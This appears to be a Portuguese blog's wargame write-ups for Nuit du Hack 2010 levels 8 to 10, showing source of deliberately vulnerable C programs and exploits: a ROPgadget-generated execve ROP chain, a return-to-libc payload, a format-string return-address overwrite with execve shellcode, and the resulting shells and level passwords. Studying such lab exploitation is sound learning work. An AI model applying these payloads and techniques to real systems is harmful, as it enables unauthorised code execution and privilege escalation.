Ao rodar o ROPgadget, temos o seguinte output


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget
Syntax: ./ROPgadget <option> <binary> [FLAGS]

Options:
 -file Load file
 -g Search gadgets and make payload
 -elfheader Display ELF Header
 -progheader Display Program Header
 -sectheader Display Section Header
 -symtab Display Symbols Table
 -allheader Display ELF/Program/Section/Symbols Header
 -v Version

Flags:
 -bind Set this flag for make a bind shellcode (optional) (Default local exploit)
 -port <port> Set a listen port, optional (Default 1337)
 -importsc <shellcode> Make payload and convert your shellcode in ROP payload
 -filter <word> Word filter (research slowed)
 -only <keyword> Keyword research (research slowed)
 -opcode <opcode> Search a specific opcode on exec segment
 -string <string> Search a specific hard string on read segment ('?' any char)
 -asm <instructions> Search a specific instructions on exec segment
 -limit <value> Limit the display of gadgets
 -map <start-end> Search gadgets on exec segment between two address

Ex:
 ./ROPgadget -file ./smashme.bin -g -bind -port 8080
 ./ROPgadget -file ./smashme.bin -g -importsc "\x6a\x02\x58\xcd\x80\xeb\xf9"
 ./ROPgadget -file ./smashme.bin -g -filter "add %eax" -filter "dec" -bind -port 8080
 ./ROPgadget -file ./smashme.bin -g -only "pop" -filter "eax"
 ./ROPgadget -file ./smashme.bin -g -opcode "\xcd\x80"
 ./ROPgadget -file ./smashme.bin -g -asm "xor %eax,%eax ; ret"
 ./ROPgadget -file ./smashme.bin -g -asm "int \$0x80"
 ./ROPgadget -file ./smashme.bin -g -string "main"
 ./ROPgadget -file ./smashme.bin -g -string "m?in"
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Rodando no binário, ele gera um payload automaticamente.


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget -file /home/level10/level10 -g
Gadgets information
============================================================
0x08048145: pop %edi | ret
0x08048162: add $0xc95b5800,%eax | ret
0x08048204: add $0x14,%esp | pop %ebx | pop %ebp | ret
0x08048207: pop %ebx | pop %ebp | ret
0x08048208: pop %ebp | ret
0x0804824c: call *%eax
0x08048251: mov %esp,%ebp | ret
0x08048254: pop %ebx | ret
0x0804825a: inc %esi | ret
0x0804825c: xor %eax,%eax | pop %edi | ret
0x0804825e: inc %eax | ret
0x08048260: int $0x80
0x0804859e: mov %ebp,%esp | pop %ebp | ret
0x080488db: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048950: call *(%esi)
0x08048ac1: call *(%ebx)
0x08048af5: call *%edx
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080493eb: add $0x08,%esp | pop %ebx | pop %ebp | ret
0x08049457: jmp *%eax
0x0804949e: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08049691: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x080496a8: mov $0xffffffff,%edx | pop %ebp | ret
0x0804977e: pop %ebx | pop %esi | pop %ebp | ret
0x08049832: mov %eax,(%ecx) | pop %ebp | ret
0x080499c8: inc %eax | pop %edi | ret
0x08049bd1: add $0x10,%esp | pop %ebx | pop %ebp | ret
0x0804ac47: add $0xe8,%al | ret
0x0804bee2: jmp *(%esi)
0x0804bf04: mov (%edi),%edi | ret
0x0804c29a: add $0x83,%al | ret
0x0804c4db: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804d69a: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804e7fb: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804e8b1: jmp *(%ecx)
0x0804ed52: call *(%eax)
0x0804f1eb: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804fa3e: mov $0x89ffffd9,%esi | ret
0x0804ff52: add $0x0c,%esp | pop %ebx | pop %ebp | ret
0x08050775: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080510db: mov %edx,%edi | ret
0x0805176b: add $0x5d,%al | ret
0x08052032: mov $0xc9fffffa,%edx | ret
0x08052316: pop %esi | pop %ebx | pop %edx | ret
0x08052318: pop %edx | ret
0x08052341: pop %edx | pop %ecx | pop %ebx | ret
0x08052423: mov %edx,%eax | pop %ebp | ret
0x08052486: mov %edx,(%ecx) | pop %ebp | ret
0x0805358f: mov $0xffffffff,%eax | ret
0x0805491e: add $0x89,%al | ret
0x080550a9: push %esp | ret
0x080566ac: call *%ecx
0x08057821: jmp *(%eax)
0x08058a7f: neg %eax | pop %ebp | ret
0x080595cb: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08059ba0: mov $0x89c87d89,%eax | ret
0x0805eab6: mov %ecx,%eax | ret
0x0806462b: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08066c21: jmp *(%ebx)
0x0806735a: add $0x5d5bc031,%eax | ret
0x08067efd: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068823: mov $0xffffffff,%eax | pop %ebp | ret
0x080691fd: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a107: inc %eax | pop %edi | pop %esi | ret
0x0806a109: pop %esi | ret
0x0806a14d: inc %eax | inc %eax | inc %eax | ret
0x0806a14e: inc %eax | inc %eax | ret
0x0806a494: call *%edi
0x0806a6b5: call *%ebx
0x0806a9e4: call *%esi
0x0806c074: xchg %eax,%ebp | ret
0x0806d4c4: mov $0x8390080a,%ebx | ret
0x0806f3c5: sub $0x83,%al | ret
0x0806f506: mov (%edx),%eax | mov (%esp),%ebx | mov %ebp,%esp | pop %ebp | ret
0x0806f95c: mov %edx,%eax | ret
0x0806fb03: add $0x1c,%al | ret
0x0806fb1b: pusha | ret
0x0806ff32: jmp *(%edx)
0x0807241f: sub $0x89,%al | ret
0x08076551: add $0xc9fc5d8b,%eax | ret
0x080788c1: mov %eax,(%edx) | ret
0x08078bb2: xchg %eax,%esp | ret
0x0807ac90: add $0x3c,%esp | ret
0x0807b105: add $0x00000000,%eax | ret
0x0807bc70: add $0xc9,%al | ret
0x0807c5a0: mov $0x89fffffd,%edx | ret
0x0807c6d7: xor $0x83fffff6,%eax | ret
0x0807d760: add $0x21,%al | ret
0x0807de18: call *(%edi)
0x0807efad: add $0xe9,%al | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | ret
0x08085131: push %ebp | ret
0x080857df: jmp *%edx
0x08085f98: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085f9a: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085fa1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080869e5: xchg %eax,%edi | ret
0x0808ac54: mov $0x89ffffd1,%eax | ret
0x08092ce9: add $0x1c,%esp | pop %ebx | pop %ebp | ret
0x08096fc2: xchg %eax,%esi | ret
0x08096ff7: popa | ret
0x0809806f: call *(%ecx)
0x0809878b: mov $0x83fffffd,%eax | ret
0x080991c1: not %eax | ret
0x0809951f: xor %eax,%eax | ret
0x0809a89f: sub $0xc9000005,%eax | ret
0x0809e3b6: xor $0x89ffffff,%eax | ret
0x0809e3d5: xor $0x89000000,%eax | ret
0x0809ff72: mov $0x83000002,%edx | ret
0x080a1080: add $0x18,%esp | pop %ebx | pop %ebp | ret
0x080a16f9: dec %eax | ret
0x080a1749: push %eax | ret
0x080a1759: pop %esp | ret
0x080a1769: pop %eax | ret
0x080a1971: add $0x24,%esp | pop %ebx | pop %ebp | ret
0x080a310a: mov $0x81000010,%edi | ret
0x080a410f: mov $0x81000000,%edx | ret
0x080a41c9: mov (%esp),%ecx | ret
0x080a41cd: mov (%esp),%ebx | ret
0x080a67b8: sub $0x04,%ebx | call *%eax
0x080a6816: ror %ecx | ret
0x080a937e: mov $0xc2c1c0bf,%esi | ret
0x080bc466: xchg %eax,%esi | pop %ebp | ret
0x080bc64e: push %esi | ret
0x080bc698: xchg %eax,%esp | pop %ebp | ret
0x080bf967: jmp *(%edi)
0x080c01cb: call *(%edx)
0x080c17c7: jmp *%esi
0x080c1901: push %edx | ret
0x080c3313: jmp *%edi
0x080c3733: add $0x44,%al | ret
0x080c3a42: dec %ebx | ret

Unique gadgets found: 134

Possible combinations.
============================================================

[+] Combo 1 was found - Possible with the following gadgets. (execve)
 - 0x08048260 => int $0x80
 - 0x0804825e => inc %eax | ret
 - 0x0809951f => xor %eax,%eax | ret
 - 0x080788c1 => mov %eax,(%edx) | ret
 - 0x080a1769 => pop %eax | ret
 - 0x08048254 => pop %ebx | ret
 - 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
 - 0x08052318 => pop %edx | ret
 - 0x080c6001 => .data Addr
 Payload
 # execve /bin/sh generated by RopGadget v3.3
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6001) # @ .data
 p += pack("<I", 0x080a1769) # pop %eax | ret
 p += "/bin"
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6005) # @ .data + 4
 p += pack("<I", 0x080a1769) # pop %eax | ret
 p += "//sh"
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x080c6001) # @ .data
 p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x08048260) # int $0x80
 EOF Payload
[-] Combo 1 was not found, missing instruction(s).
 - .......... => sysenter
 - 0x0804825e => inc %eax | ret
 - 0x0809951f => xor %eax,%eax | ret
 - 0x080788c1 => mov %eax,(%edx) | ret
 - 0x080a1769 => pop %eax | ret
 - 0x08048254 => pop %ebx | ret
 - 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
 - 0x08052318 => pop %edx | ret
 - 0x08048208 => pop %ebp | ret
 - 0x080c6001 => .data Addr
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Percebemos que ele usa a área de data para colocar a string /bin//sh.

Primeiro usa os gadgets de pop %edx | ret, para colocar o endereço de data em edx.


p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data

Usa o pop %eax | ret para pegar um pedaço da string


p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"

E o mov %eax,(%edx) | ret para mover para a posição de data,


p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret

Assim colocamos a string /bin//sh num lugar com permissão de escrita, incluindo o null byte usando o gadget xor %eax, %eax.

p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret

No final, ele usa o xor %eax,%eax | ret para zerar o %eax, e depois inc %eax | ret, para colocar o valor da syscall execve em eax e logo depois chama o int 0x80.


p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80

Bem, mas se rodar este exploit, ele vai dar um segfault, isso é por causa da parte do meio.


p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8

Ou seja, o que deveria ser é o ebx estar com o endereço da string /bin//sh, que esta em data, no endereço 0x080c6001, e ecx e edx, apontando pro null byte, que esta em data + 8, mas o ROPgadget, deixou o ebx apontando para 0x42424242.


p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding

Modificando o exploit aqui, ficou.


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ cat exploit.py
#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"

from struct import pack

p = "a" * 12
# Generated by RopGadget v3.0
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
print p
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Executando…


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ /home/level10/level10 "$(python ./exploit.py)"
ROP me if you can :]
-> aaaaaaaaaaaa`

/bin�`

//sh�# `
 � �A# `
 `
 `
 � ^�^�^�^�^�^�^�^�^�^�^�`�
$ id
uid=1010(level10) gid=1010(level10) euid=1000(l33t) groups=1000(l33t),1010(level10)
$ whoami
l33t
$ cat /home/l33t/passwd
4JS!sf.
$

l33t! 😀

Logando no l33t, não temos desafio, apenas o código do level10


l33t@wargame2k10:~$ cat rop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10

void rop()
{
 __asm("ret");

__asm("pop %ebx");
 __asm("ret");

__asm("nop");
 __asm("movl %esi, %edx");
 __asm("pop %esi");
 __asm("inc %esi");
 __asm("ret");

__asm("xor %eax, %eax");
 __asm("inc %eax");
 __asm("ret");

__asm("int $0x80");
}

void vuln(char *buff)
{
 char tmp[8] = {'\0'};

strcpy(tmp, buff);
 printf("-> %s\n", tmp);
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
 printf("%s <arg>\n", argv[0]);
 exit(0);
 }
 printf("ROP me if you can :]\n");

vuln(argv[1]);
 return 0;
}
l33t@wargame2k10:~$

É isso ai wargame zerado 😀

Written by m0nad

janeiro 20, 2012 at 5:44 pm

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level9 – Return to LibC

leave a comment »

Level9 do nuit du hack, lendo o source..


$ cat level9.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level9 level9.c -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level9

void sayHello(char *tmp)
{
 char login[50];

strcpy(login, tmp);
 printf("Hi %s !\n", login);
}

int main(int argc, char *argv[])
{
 if(argc < 2) {
 printf("Empty login! \n");
 exit(-1);
 }
 sayHello(argv[1]);

exit(0);
}

Vemos que não foi compilado com -z execstack, e temos a proteção do pax, isso significa que temos que fazer um return to libc 🙂

Vamos ver dentro do gdb.


(gdb) r $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"')
Hi �������������������������������������������������������̻� !

Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb)

Controlamos facilmente o eip, vamos colocar um /bin/sh numa variável de ambiente, e pegar seu endereço.


$ export SC=" /bin/sh"
$ /tmp/getenv SC
0xbfffffae
$

Legal, vamos pegar o endereço da função system.


(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecf180 <system>
(gdb)

Certo, precisamos então colocar

[54 bytes ĺixo] [&system] [4 bytes lixo] [&”/bin/sh”]


(gdb) r $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
Hi �����������������������������������������������������������̻����� !
$

yahuu uma shell 😀

Fora do gdb…


$ ./level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
 Hi �����������������������������������������������������������̻����� !
 $ id
 uid=1009(level9) gid=1009(level9) euid=1010(level10) groupes=1010(level10),1009(level9)
 $ cat /home/level10/passwd
 z8D4ds
 $

PWNED! 🙂

Written by m0nad

janeiro 20, 2012 at 5:16 pm

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level8 – Format String Bug

with one comment

Mais um level do nuit du hack 🙂

Vamos ao source


#include <stdio.h>
#include <stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
 if(argc < 2) {
 printf("Empty login! \n");
 exit(-1);
 }

printf(argv[1]);
 printf("\nNice to see you\n");

exit(0);
}

Temos um clássico format string bug, vamos testar.


level8@wargame2k10:~$ ./level8 "0x%x"
0xbffff868
Nice to see you
level8@wargame2k10:~$

Podemos ver que demos um pop em um valor da stack, vamos tentar ler uma área arbitraria da memória.

Com um for e grep, achamos a shell como exemplo


level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "%$i\$s" |grep SHELL && echo $i; done
SHELL=/bin/sh
47
level8@wargame2k10:~$

E depois usamos o offset 47 para ler essa área da memória.


level8@wargame2k10:~$ ./level8 "%47\$s"
SHELL=/bin/sh
Nice to see you
level8@wargame2k10:~$

Podemos escrever escrever em areas de memoria arbitrariamente, usando %n, para isso basta termos o offset da onde nosso endereço esta na stack, para isso bastar achar o offset de onde nosso endereço vai estar, e o %n escrevera a quantidade de bytes digitados até então, lembrando que podemos usar %u para colocar mais bytes.


level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "AAAAB[0x%$i\$x]" |grep 4141 && echo $i; done
AAAAB[0x41414141]
115

level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$x]"
AAAAB[0x41414141]
Nice to see you
level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$n]"
Erreur de segmentation
level8@wargame2k10:~$

O motivo da falha de segmentação foi por que tentamos escrever em 0x41414141, que não é um endereço valido, então podemos sobrescreve um endereço de retorno na pilha, por exemplo, ou a GOT no endereço de exit.ou demos o .dtor, vamos no endereço de retorno.

Dentro do gdb, disas main.

(gdb) disas main
Dump of assembler code for function main:
0x08048424 <main+0>: push %ebp
0x08048425 <main+1>: mov %esp,%ebp
0x08048427 <main+3>: sub $0x4,%esp
0x0804842a <main+6>: cmpl $0x1,0x8(%ebp)
0x0804842e <main+10>: jg 0x8048448 <main+36>
0x08048430 <main+12>: movl $0x8048530,(%esp)
0x08048437 <main+19>: call 0x8048350 <puts@plt>
0x0804843c <main+24>: movl $0xffffffff,(%esp)
0x08048443 <main+31>: call 0x8048360 <exit@plt>
0x08048448 <main+36>: mov 0xc(%ebp),%eax
0x0804844b <main+39>: add $0x4,%eax
0x0804844e <main+42>: mov (%eax),%eax
0x08048450 <main+44>: mov %eax,(%esp)
0x08048453 <main+47>: call 0x8048340 <printf@plt>
0x08048458 <main+52>: movl $0x804853e,(%esp)
0x0804845f <main+59>: call 0x8048350 <puts@plt>
0x08048464 <main+64>: movl $0x0,(%esp)
0x0804846b <main+71>: call 0x8048360 <exit@plt>
End of assembler dump.
(gdb)

Colodamos um Breakpoint na printf da plt.

(gdb) b *0x8048340
Breakpoint 1 at 0x8048340
(gdb)

Rodamos e vemos o topo da pilha, que estará o endereço de retorno salvo.

(gdb) r a
Starting program: /home/level8/level8 a

Breakpoint 1, 0x08048340 in printf@plt ()

(gdb) x/x $esp
0xbffffc60: 0x08048458
(gdb)

O que precisamos fazer é sobrescrever o endereço 0xbffffcd0 com o endereço do nosso shellcode.

Colocamos nosso shellcode numa variável de ambiente.


$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')
level8@wargame2k10:~$ /tmp/getenv SC
0xbfffff3e
level8@wargame2k10:~$

Vamos escrever byte a byte, usando %n,

isto é nos endereços: bffffc60, bffffc61, bffffc62, bffffc63,

por causa da quantidade de bytes o offset mudou pra 118.


(gdb) r $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level8/level8 $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"')

Breakpoint 1, 0x08048340 in printf@plt ()
(gdb) c
Continuing.
Executing new program: /bin/dash
$

Executamos a shell 😀

Fora do gdb,..

$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8)
$ cat /home/level9/passwd
g974d.

Até a próxima 🙂

Written by m0nad

janeiro 18, 2012 at 5:05 am

Publicado em Assembly, C, Segurança, Wargames